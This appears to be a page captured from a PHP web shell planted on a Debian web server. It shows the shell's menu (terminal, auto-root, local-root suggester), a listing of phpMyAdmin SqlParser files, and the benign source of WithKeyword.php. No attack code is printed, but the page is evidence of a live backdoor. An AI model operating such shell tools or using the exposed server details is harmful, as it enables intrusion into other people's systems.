Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
php /
PhpMyAdmin /
SqlParser /
Components /
Delete
Unzip
Name
Size
Permission
Date
Action
AlterOperation.php
15.26
KB
-rw-r--r--
2023-01-25 10:43
Array2d.php
3.39
KB
-rw-r--r--
2023-01-25 10:43
ArrayObj.php
4.85
KB
-rw-r--r--
2023-01-25 10:43
CaseExpression.php
9.7
KB
-rw-r--r--
2023-01-25 10:43
Condition.php
6.01
KB
-rw-r--r--
2023-01-25 10:43
CreateDefinition.php
10.57
KB
-rw-r--r--
2023-01-25 10:43
DataType.php
4.71
KB
-rw-r--r--
2023-01-25 10:43
Expression.php
15.6
KB
-rw-r--r--
2023-01-25 10:43
ExpressionArray.php
3.91
KB
-rw-r--r--
2023-01-25 10:43
FunctionCall.php
2.94
KB
-rw-r--r--
2023-01-25 10:43
GroupKeyword.php
3.34
KB
-rw-r--r--
2023-01-25 10:43
IndexHint.php
6.31
KB
-rw-r--r--
2023-01-25 10:43
IntoKeyword.php
8.34
KB
-rw-r--r--
2023-01-25 10:43
JoinKeyword.php
6.15
KB
-rw-r--r--
2023-01-25 10:43
Key.php
9.16
KB
-rw-r--r--
2023-01-25 10:43
Limit.php
3.06
KB
-rw-r--r--
2023-01-25 10:43
LockExpression.php
5.62
KB
-rw-r--r--
2023-01-25 10:43
OptionsArray.php
12.07
KB
-rw-r--r--
2023-01-25 10:43
OrderKeyword.php
3.46
KB
-rw-r--r--
2023-01-25 10:43
ParameterDefinition.php
4.54
KB
-rw-r--r--
2023-01-25 10:43
PartitionDefinition.php
6.97
KB
-rw-r--r--
2023-01-25 10:43
Reference.php
3.95
KB
-rw-r--r--
2023-01-25 10:43
RenameOperation.php
4.45
KB
-rw-r--r--
2023-01-25 10:43
SetOperation.php
4.15
KB
-rw-r--r--
2023-01-25 10:43
UnionKeyword.php
674
B
-rw-r--r--
2023-01-25 10:43
WithKeyword.php
1.29
KB
-rw-r--r--
2023-01-25 10:43
Save
Rename
<?php declare(strict_types=1); namespace PhpMyAdmin\SqlParser\Components; use PhpMyAdmin\SqlParser\Component; use PhpMyAdmin\SqlParser\Parser; use RuntimeException; /** * `WITH` keyword builder. * * @final */ final class WithKeyword extends Component { /** @var string */ public $name; /** @var ArrayObj[] */ public $columns = []; /** @var Parser|null */ public $statement; public function __construct(string $name) { $this->name = $name; } /** * @param WithKeyword $component * @param array<string, mixed> $options * * @return string */ public static function build($component, array $options = []) { if (! $component instanceof WithKeyword) { throw new RuntimeException('Can not build a component that is not a WithKeyword'); } if (! isset($component->statement)) { throw new RuntimeException('No statement inside WITH'); } $str = $component->name; if ($component->columns) { $str .= ArrayObj::build($component->columns); } $str .= ' AS ('; foreach ($component->statement->statements as $statement) { $str .= $statement->build(); } $str .= ')'; return $str; } }